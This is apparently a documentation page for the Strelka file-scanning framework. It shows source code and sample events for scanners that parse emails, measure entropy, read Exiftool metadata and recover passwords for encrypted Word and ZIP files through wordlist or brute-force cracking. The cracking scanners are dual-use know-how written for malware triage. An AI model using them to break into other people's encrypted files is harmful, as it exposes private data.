required Source code instrelka/src/python/strelka/scanners/scan_email.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Processes the email, extracts metadata and attachments, and optionally generates a thumbnail.\n\n Args:\n data: The raw email data.\n file: File details.\n options: Scanner options including thumbnail creation and size.\n expire_at: Expiry time of the scan.\n \"\"\"\n # Initialize data structures for storing scan results\n attachments = []\n self.event[\"total\"] = {\"attachments\": 0, \"extracted\": 0}\n\n # Thumbnail creation based on user option\n create_thumbnail = options.get(\"create_thumbnail\", False)\n thumbnail_header = options.get(\"thumbnail_header\", False)\n thumbnail_size = options.get(\"thumbnail_size\", (500, 500))\n\n # Attempt to create a thumbnail from the email\n if create_thumbnail:\n try:\n image = self.create_email_thumbnail(data, thumbnail_header)\n if image:\n image.thumbnail(thumbnail_size, Image.Resampling.BILINEAR)\n buffered = io.BytesIO()\n image.save(buffered, format=\"WEBP\", quality=30, optimize=True)\n base64_image = base64.b64encode(buffered.getvalue()).decode(\"utf-8\")\n self.event[\"base64_thumbnail\"] = base64_image\n else:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: Could not generate thumbnail. No HTML found.\"\n )\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: {str(e)[:50]}\"\n )\n\n # Parse email contents\n try:\n # Open and parse email byte string\n ep = eml_parser.EmlParser(\n include_attachment_data=True, include_raw_body=True\n )\n parsed_eml = ep.decode_email_bytes(data)\n\n # Check if email was parsed properly and attempt to deconflict and reload.\n if not (parsed_eml[\"header\"][\"subject\"] and parsed_eml[\"header\"][\"header\"]):\n if b\"\\nReceived: from \" in data:\n data = (\n data.rpartition(b\"\\nReceived: from \")[1]\n + data.rpartition(b\"\\nReceived: from \")[2]\n )[1:]\n elif b\"Start mail input; end with <CRLF>.<CRLF>\\n\" in data:\n data = data.rpartition(\n b\"Start mail input; end with <CRLF>.<CRLF>\\n\"\n )[2]\n parsed_eml = ep.decode_email_bytes(data)\n\n # Extract body content and domains\n if \"body\" in parsed_eml:\n for body in parsed_eml[\"body\"]:\n if \"content_type\" in body:\n if body[\"content_type\"] == \"text/plain\":\n if len(body[\"content\"]) <= 200:\n self.event[\"body\"] = body[\"content\"]\n else:\n self.event[\"body\"] = (\n body[\"content\"][:100]\n + \"...\"\n + body[\"content\"][-100:]\n )\n else:\n self.event[\"body\"] = (\n body[\"content\"][:100] + \"...\" + body[\"content\"][-100:]\n )\n if \"domain\" in body:\n if \"domain\" in self.event:\n self.event[\"domains\"] += body[\"domain\"]\n else:\n self.event[\"domains\"] = body[\"domain\"]\n\n # Extract attachment details and raw data\n if \"attachment\" in parsed_eml:\n self.event[\"attachments\"] = {\n \"filenames\": [],\n \"hashes\": [],\n \"totalsize\": 0,\n }\n for attachment in parsed_eml[\"attachment\"]:\n self.event[\"attachments\"][\"filenames\"].append(\n attachment[\"filename\"]\n )\n self.event[\"attachments\"][\"hashes\"].append(\n attachment[\"hash\"][\"md5\"]\n )\n self.event[\"attachments\"][\"totalsize\"] += attachment[\"size\"]\n attachments.append(\n {\n \"name\": attachment[\"filename\"],\n \"content-type\": attachment[\"content_header\"][\n \"content-type\"\n ][0],\n \"raw\": base64.b64decode(attachment[\"raw\"]),\n }\n )\n\n # Extract email header information\n self.event[\"subject\"] = parsed_eml[\"header\"].get(\"subject\", \"\")\n self.event[\"to\"] = parsed_eml[\"header\"].get(\"to\", \"\")\n self.event[\"from\"] = parsed_eml[\"header\"].get(\"from\", \"\")\n date_header = parsed_eml[\"header\"].get(\"date\")\n if date_header:\n self.event[\"date_utc\"] = (\n date_header.astimezone(pytz.utc).isoformat()[:-6] + \".000Z\"\n )\n header = parsed_eml.get(\"header\", {}).get(\"header\", {})\n message_id = header.get(\"message-id\", [])[0] if header else None\n self.event[\"message_id\"] = (\n str(message_id.lstrip(\"<\").rstrip(\">\")) if message_id else \"\"\n )\n self.event[\"received_domain\"] = parsed_eml[\"header\"].get(\n \"received_domain\", []\n )\n self.event[\"received_ip\"] = parsed_eml[\"header\"].get(\"received_ip\", [])\n\n # Process attachments\n if attachments:\n for attachment in attachments:\n self.event[\"total\"][\"attachments\"] += 1\n name = attachment[\"name\"]\n try:\n flavors = [\n attachment[\"content-type\"]\n .encode(\"utf-8\")\n .partition(b\";\")[0]\n ]\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: email_extract_attachment_error: {str(e)[:50]}\"\n )\n # Send extracted file back to Strelka\n self.emit_file(attachment[\"raw\"], name=name, flavors=flavors)\n self.event[\"total\"][\"extracted\"] += 1\n\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: email_parse_error: {str(e)[:50]}\"\n )\ncreate_email_thumbnail(data, show_header)","text":"Generates a thumbnail image from the content of an email message.
This function processes the email to extract images and text, combines them into a single image, and returns that image.
Parameters:
Name Type Description Defaultshow_header Whether to show the header details in the output.
requireddata Raw email data.
requiredReturns:
Type DescriptionA PIL Image object representing the combined thumbnail image of the email.
None if no images could be created.
Source code instrelka/src/python/strelka/scanners/scan_email.py def create_email_thumbnail(self, data, show_header):\n \"\"\"\n Generates a thumbnail image from the content of an email message.\n\n This function processes the email to extract images and text, combines them into\n a single image, and returns that image.\n\n Args:\n show_header: Whether to show the header details in the output.\n data: Raw email data.\n\n Returns:\n A PIL Image object representing the combined thumbnail image of the email.\n None if no images could be created.\n \"\"\"\n # Supported image types for extraction from the email\n image_types = [\n \"image/gif\",\n \"image/jpeg\",\n \"image/png\",\n \"image/jpg\",\n \"image/bmp\",\n \"image/ico\",\n \"image/svg\",\n \"image/web\",\n ]\n\n # Dictionary to map content IDs to images\n images_dict = {}\n\n # Create a temporary directory to store generated images\n with tempfile.TemporaryDirectory() as temp_dir:\n # Parse the email data\n msg = email.message_from_bytes(data)\n\n # List to store paths of generated images\n images_list = []\n\n # Extract and format header details from the email\n if show_header:\n header_fields = [\"Date\", \"From\", \"To\", \"Subject\", \"Message-Id\"]\n header_values = {\n field: self.decode_and_format_header(msg, field)\n for field in header_fields\n }\n\n # Generate an HTML table from the header values\n headers_html = '<table width=\"100%\">\\n'\n for field, value in header_values.items():\n headers_html += f' <tr><td align=\"right\"><b>{field}:</b></td><td>{value}</td></tr>\\n'\n headers_html += \"</table>\\n<hr></p>\\n\"\n\n # Convert HTML header details to an image\n header_image_path = self.html_to_image(headers_html, temp_dir)\n if header_image_path:\n images_list.append(header_image_path)\n\n # Process the MIME parts to extract images\n for part in msg.walk():\n if part.is_multipart():\n continue\n\n mime_type = part.get_content_type()\n if mime_type in image_types:\n # Extract image data and create a base64 encoded version\n content_id = part.get(\"Content-ID\", \"\").strip(\"<>\")\n image_data = part.get_payload(decode=True)\n img_data_base64 = base64.b64encode(image_data).decode(\"utf-8\")\n images_dict[content_id] = img_data_base64\n\n # Process HTML body parts and replace CID references with base64 data\n for part in msg.walk():\n if part.get_content_type() == \"text/html\":\n payload = part.get_payload(decode=True).decode(\"utf-8\")\n for cid, img_data in images_dict.items():\n payload = payload.replace(\n f\"cid:{cid}\", f\"data:image/jpeg;base64,{img_data}\"\n )\n\n # Convert the modified HTML body to an image\n body_image_path = self.html_to_image(payload, temp_dir)\n if body_image_path:\n images_list.append(body_image_path)\n\n # Combine all extracted images into a single image\n if images_list:\n images = [Image.open(path) for path in images_list]\n return self.append_images(images)\n\n return None\nhtml_to_image(html_content, temp_dir) staticmethod","text":"Converts HTML content to an image.
This method uses WeasyPrint to convert the HTML content to a PDF and then uses PyMuPDF (fitz) to render the PDF as an image. The rendered image is saved as a PNG file.
Parameters:
Name Type Description Defaulthtml_content HTML content to be converted into an image.
requiredtemp_dir Temporary directory to store intermediate files.
requiredReturns:
Type DescriptionThe file path to the generated image, or None if the process fails.
Source code instrelka/src/python/strelka/scanners/scan_email.py @staticmethod\ndef html_to_image(html_content, temp_dir):\n \"\"\"\n Converts HTML content to an image.\n\n This method uses WeasyPrint to convert the HTML content to a PDF and then\n uses PyMuPDF (fitz) to render the PDF as an image. The rendered image is saved as a PNG file.\n\n Args:\n html_content: HTML content to be converted into an image.\n temp_dir: Temporary directory to store intermediate files.\n\n Returns:\n The file path to the generated image, or None if the process fails.\n \"\"\"\n # Generate a unique filename for the PDF\n pdf_filename = hashlib.md5(html_content.encode()).hexdigest() + \".pdf\"\n pdf_path = os.path.join(temp_dir, pdf_filename)\n\n # Convert HTML to a PDF using WeasyPrint\n try:\n HTML(string=html_content).write_pdf(pdf_path)\n\n # Open the PDF with fitz and render the first page as an image\n with fitz.open(pdf_path) as doc:\n if doc.page_count > 0:\n page = doc.load_page(0) # first page\n pix = page.get_pixmap()\n image_path = os.path.join(\n temp_dir, pdf_filename.replace(\".pdf\", \".png\")\n )\n pix.save(image_path)\n return image_path\n else:\n return None\n except Exception:\n return None\nappend_images(images) staticmethod","text":"Combines multiple image objects into a single image.
This function stacks the provided images vertically to create one continuous image. It's particularly useful for creating a visual summary of an email's content.
Parameters:
Name Type Description Defaultimages A list of PIL Image objects to be combined.
requiredReturns:
Type DescriptionA single PIL Image object that combines all the input images.
Source code instrelka/src/python/strelka/scanners/scan_email.py @staticmethod\ndef append_images(images):\n \"\"\"\n Combines multiple image objects into a single image.\n\n This function stacks the provided images vertically to create one continuous image.\n It's particularly useful for creating a visual summary of an email's content.\n\n Args:\n images: A list of PIL Image objects to be combined.\n\n Returns:\n A single PIL Image object that combines all the input images.\n \"\"\"\n # Define the background color for the combined image\n bg_color = (255, 255, 255)\n\n # Calculate the total width (max width among images) and total height (sum of heights of all images)\n widths, heights = zip(*(img.size for img in images))\n total_width = max(widths)\n total_height = sum(heights)\n\n # Create a new image with the calculated dimensions\n combined_image = Image.new(\"RGB\", (total_width, total_height), color=bg_color)\n\n # Paste each image onto the combined image, one below the other\n y_offset = 0\n for img in images:\n combined_image.paste(img, (0, y_offset))\n y_offset += img.height\n\n return combined_image\ndecode_and_format_header(msg, header_name) staticmethod","text":"Decodes and safely formats a specific header field from an email message.
Email headers can be encoded in various formats. This function decodes the header into a human-readable format, and also ensures that the text is safe for HTML display.
Parameters:
Name Type Description Defaultmsg Parsed email message object.
requiredheader_name The name of the header field to decode.
requiredReturns:
Type DescriptionA string representing the decoded and header field values.
Returns a placeholder string if the header field is missing or cannot be decoded.
Source code instrelka/src/python/strelka/scanners/scan_email.py @staticmethod\ndef decode_and_format_header(msg, header_name):\n \"\"\"\n Decodes and safely formats a specific header field from an email message.\n\n Email headers can be encoded in various formats. This function decodes the header\n into a human-readable format, and also ensures that the text is safe for HTML display.\n\n Args:\n msg: Parsed email message object.\n header_name: The name of the header field to decode.\n\n Returns:\n A string representing the decoded and header field values.\n Returns a placeholder string if the header field is missing or cannot be decoded.\n \"\"\"\n try:\n # Decode the specified header field\n decoded_header = email.header.decode_header(msg[header_name])[0]\n # Convert bytes to string if necessary\n field_value = decoded_header[0]\n if isinstance(field_value, bytes):\n field_value = field_value.decode(decoded_header[1] or \"utf-8\")\n except Exception:\n field_value = \"<Unknown>\"\n\n # Replace angle brackets for HTML safety\n return field_value.replace(\"<\", \"<\").replace(\">\", \">\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEmail.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/vnd.ms-outlook email_file_broad email_file message/rfc822"},{"location":"Scanners/ScanEmail.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeattachments dict attachments.filenames list attachments.hashes str attachments.totalsize int base64_thumbnail str body str date_utc str domains list domains str elapsed str flags list from str message_id str received_domain str received_domain list received_ip list received_ip str subject str to list to str total dict total.attachments int total.extracted int"},{"location":"Scanners/ScanEmail.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"attachments\": 2, \"extracted\": 2},\n \"body\": \"Lorem Ipsum\\n\\n[cid:image001.jpg@01D914BA.2B9507C0]\\n\\n\\nLorem ipsum dolor sit amet, consectetur adipisci...tristique mi, quis finibus justo augue non ligula. Quisque facilisis dui in orci aliquet fermentum.\\n\",\n \"domains\": unordered(\n [\n \"schemas.microsoft.com\",\n \"www.w3.org\",\n \"div.msonormal\",\n \"span.msohyperlink\",\n \"span.msohyperlinkfollowed\",\n \"span.emailstyle17\",\n \"1.0in\",\n \"div.wordsection1\",\n ]\n ),\n \"attachments\": {\n \"filenames\": [\"image001.jpg\", \"test.doc\"],\n \"hashes\": unordered(\n [\n \"ee97b5bb7816b8ad3c3b4024a5d7ff06\",\n \"33a13c0806ec35806889a93a5f259c7a\",\n ]\n ),\n \"totalsize\": 72819,\n },\n \"subject\": \"Lorem Ipsum\",\n \"to\": unordered([\"baz.quk@example.com\"]),\n \"from\": \"foo.bar@example.com\",\n \"date_utc\": \"2022-12-21T02:29:49.000Z\",\n \"message_id\": \"DS7PR03MB5640AD212589DFB7CE58D90CFBEB9@DS7PR03MB5640.namprd03.prod.outlook.com\",\n \"received_domain\": unordered(\n [\n \"ch2pr03mb5366.namprd03.prod.outlook.com\",\n \"mx0b-0020ab02.pphosted.com\",\n \"pps.filterd\",\n \"mx.example.com\",\n \"ds7pr03mb5640.namprd03.prod.outlook.com\",\n \"mx0a-0020ab02.pphosted.com\",\n ]\n ),\n \"received_ip\": unordered(\n [\n \"022.12.20.18\",\n \"fe80::bd8e:df17:2c2f:2490\",\n \"8.17.1.19\",\n \"2603:10b6:5:2c0::11\",\n \"205.220.177.243\",\n \"2603:10b6:610:96::16\",\n \"127.0.0.1\",\n \"2002:a05:6500:11d0:b0:17b:2a20:6c32\",\n ]\n ),\n }\nExtracts passwords from encrypted office word documents.
Attributes:
Name Type Descriptionpasswords List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for zip archives. Defaults to /etc/strelka/passwords.dat.
Source code instrelka/src/python/strelka/scanners/scan_encrypted_doc.py class ScanEncryptedDoc(strelka.Scanner):\n \"\"\"Extracts passwords from encrypted office word documents.\n\n Attributes:\n passwords: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for zip archives.\n Defaults to /etc/strelka/passwords.dat.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n jtr_path = options.get(\"jtr_path\", \"/jtr/\")\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n log_extracted_pws = options.get(\"log_pws\", False)\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n brute = options.get(\"brute_force\", False)\n max_length = options.get(\"max_length\", 7)\n\n with io.BytesIO(data) as doc_io:\n msoff_doc = msoffcrypto.OfficeFile(doc_io)\n output_doc = io.BytesIO()\n if extracted_pw := crack_word(\n self,\n data,\n jtr_path,\n tmp_directory,\n brute=brute,\n scanner_timeout=scanner_timeout,\n max_length=max_length,\n password_file=password_file,\n ):\n if log_extracted_pws:\n self.event[\"cracked_password\"] = extracted_pw\n try:\n msoff_doc.load_key(password=extracted_pw.decode(\"utf-8\"))\n msoff_doc.decrypt(output_doc)\n output_doc.seek(0)\n extract_data = output_doc.read()\n output_doc.seek(0)\n\n # Send extracted file back to Strelka\n self.emit_file(extract_data)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\n \"Could not decrypt document with recovered password\"\n )\n\n else:\n self.flags.append(\"Could not extract password\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEncryptedDoc.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeencrypted_word_document"},{"location":"Scanners/ScanEncryptedDoc.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecracked_password bytes elapsed str flags list"},{"location":"Scanners/ScanEncryptedDoc.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"cracked_by_wordlist\"],\n \"cracked_password\": b\"Password1!\",\n }\nExtracts passwords from encrypted ZIP archives.
Attributes:
Name Type Descriptionpasswords List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for zip archives. Defaults to /etc/strelka/passwords.dat.
Source code instrelka/src/python/strelka/scanners/scan_encrypted_zip.py class ScanEncryptedZip(strelka.Scanner):\n \"\"\"Extracts passwords from encrypted ZIP archives.\n\n Attributes:\n passwords: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for zip archives.\n Defaults to /etc/strelka/passwords.dat.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n jtr_path = options.get(\"jtr_path\", \"/jtr/\")\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n file_limit = options.get(\"limit\", 1000)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n log_extracted_pws = options.get(\"log_pws\", False)\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n brute = options.get(\"brute_force\", False)\n max_length = options.get(\"max_length\", 5)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n\n with io.BytesIO(data) as zip_io:\n try:\n is_aes = False\n with pyzipper.ZipFile(zip_io) as zip_obj:\n file_list = zip_obj.filelist # .filelist\n for file_list_item in file_list:\n if not file_list_item.is_dir():\n # Check for the AES compression type\n if file_list_item.compress_type == 99:\n is_aes = True\n break\n\n with (\n pyzipper.AESZipFile(zip_io) if is_aes else pyzipper.ZipFile(zip_io)\n ) as zip_obj:\n file_list = zip_obj.filelist # .filelist\n for file_list_item in file_list:\n if not file_list_item.is_dir():\n self.event[\"total\"][\"files\"] += 1\n\n extracted_pw = crack_zip(\n self,\n data,\n jtr_path,\n tmp_directory,\n brute=brute,\n scanner_timeout=scanner_timeout,\n max_length=max_length,\n password_file=password_file,\n )\n\n if not extracted_pw:\n self.flags.append(\"Could not extract password\")\n return\n\n if log_extracted_pws:\n self.event[\"cracked_password\"] = extracted_pw\n\n for file_item in file_list:\n if not file_item.is_dir():\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n break\n\n try:\n extract_data = zip_obj.read(\n file_item.filename, pwd=extracted_pw\n )\n\n if extract_data:\n # Send extracted file back to Strelka\n self.emit_file(\n extract_data, name=file_item.filename\n )\n\n self.event[\"total\"][\"extracted\"] += 1\n\n except NotImplementedError:\n self.flags.append(\"unsupported_compression\")\n except RuntimeError:\n self.flags.append(\"runtime_error\")\n except ValueError:\n self.flags.append(\"value_error\")\n except zlib.error:\n self.flags.append(\"zlib_error\")\n\n except pyzipper.BadZipFile:\n self.flags.append(\"bad_zip\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEncryptedZip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeencrypted_zip"},{"location":"Scanners/ScanEncryptedZip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list total dict total.extracted int total.files int"},{"location":"Scanners/ScanEncryptedZip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"cracked_by_wordlist\"],\n \"total\": {\"files\": 4, \"extracted\": 4},\n }\nCalculates entropy of files.
Source code instrelka/src/python/strelka/scanners/scan_entropy.py class ScanEntropy(strelka.Scanner):\n \"\"\"Calculates entropy of files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"entropy\"] = entropy.shannon_entropy(data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEntropy.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanEntropy.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str entropy float flags list"},{"location":"Scanners/ScanEntropy.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"entropy\": 4.314502621279276}\nCollects strings from files.
Collects strings from files (similar to the output of the Unix 'strings' utility).
Optionslimit: Maximum number of strings to collect, starting from the beginning of the file. If this value is 0, then all strings are collected. Defaults to 0 (unlimited).
Source code instrelka/src/python/strelka/scanners/scan_exception.py class ScanException(strelka.Scanner):\n \"\"\"Collects strings from files.\n\n Collects strings from files (similar to the output of the Unix 'strings'\n utility).\n\n Options:\n limit: Maximum number of strings to collect, starting from the\n beginning of the file. If this value is 0, then all strings are\n collected.\n Defaults to 0 (unlimited).\n \"\"\"\n\n def init(self):\n pass\n\n def scan(self, data, file, options, expire_at):\n raise Exception(\"Scanner Exception\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanException.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanException.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str exception str flags list"},{"location":"Scanners/ScanException.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"uncaught_exception\"],\n \"exception\": 0.001,\n }\nCollects metadata parsed by Exiftool.
This scanner uses Exiftool to extract metadata from files and logs the extracted key-value pairs.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_exiftool.py class ScanExiftool(strelka.Scanner):\n \"\"\"Collects metadata parsed by Exiftool.\n\n This scanner uses Exiftool to extract metadata from files and logs the\n extracted key-value pairs.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n # Use a temporary file to store the data for processing with Exiftool\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n try:\n # Execute exiftool and retrieve JSON metadata output\n (stdout, stderr) = subprocess.Popen(\n [\"exiftool\", \"-j\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate()\n\n if stdout:\n # Load metadata from stdout and update the event dictionary with it\n # Converts fields with spaces to underscores to accommodate\n # searchability (i.e., \"File Name\" to \"file_name\")\n metadata = json.loads(stdout)[0]\n for key, value in metadata.items():\n formatted_key = key.replace(\" \", \"_\").replace(\"/\", \"_\").lower()\n\n # Convert any lists to a comma-separated string\n if isinstance(value, list):\n value = \", \".join(map(str, value))\n\n self.event[formatted_key] = value\n\n # Handle potential errors from exiftool and JSON decoding\n except subprocess.CalledProcessError as e:\n self.flags.append(f\"exiftool_error: Subprocess Error - {str(e)}\")\n except json.JSONDecodeError as e:\n self.flags.append(f\"exiftool_error: JSON Decode Error - {str(e)}\")\n except Exception as e:\n self.flags.append(f\"exiftool_error: General Error - {str(e)}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanExiftool.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/msword application/pdf application/vnd.ms-excel application/x-shockwave-flash bmp_file fws_file gif_file image/avif image/gif image/heic image/heif image/jpeg image/png image/tiff image/webp image/x-ms-bmp jpeg_file lnk_file olecf_file pdf_file png_file type_is_tiff"},{"location":"Scanners/ScanExiftool.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeappversion float author str bitspersample int bluematrixcolumn str bluetrc str characters int charcountwithspaces int cmmflags str codepage str colorcomponents int colorspacedata str comment str comments str company str compobjusertype str compobjusertypelen int connectionspaceilluminant str createdate str deviceattributes str devicemanufacturer str devicemfgdesc str devicemodel str devicemodeldesc str directory str docflags str elapsed str encodingprocess str exifbyteorder str exifimageheight int exifimagewidth int exiftoolversion float fileaccessdate str fileinodechangedate str filemodifydate str filename str filepermissions str filesize str filetype str filetypeextension str flags list gpslatitude str gpslatituderef str gpslongitude str gpslongituderef str gpsposition str greenmatrixcolumn str greentrc str headingpairs str hyperlinkschanged str identification str imageheight int imagesize str imagewidth int keywords str languagecode str lastmodifiedby str lastprinted str lines int linksuptodate str luminance str measurementbacking str measurementflare str measurementgeometry str measurementilluminant str measurementobserver str mediablackpoint str mediawhitepoint str megapixels float mimetype str modifydate str orientation str pages int paragraphs int primaryplatform str profileclass str profilecmmtype str profileconnectionspace str profilecopyright str profilecreator str profiledatetime str profiledescription str profilefilesignature str profileid int profileversion str redmatrixcolumn str redtrc str renderingintent str resolutionunit str revisionnumber int scalecrop str security str shareddoc str software str sourcefile str subject str subsecmodifydate str subsectime int system str technology str template str title str titleofparts str totaledittime str viewingconddesc str viewingcondilluminant str viewingcondilluminanttype str viewingcondsurround str word97 str words int xmptoolkit str xresolution int ycbcrpositioning str ycbcrsubsampling str yresolution int"},{"location":"Scanners/ScanExiftool.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
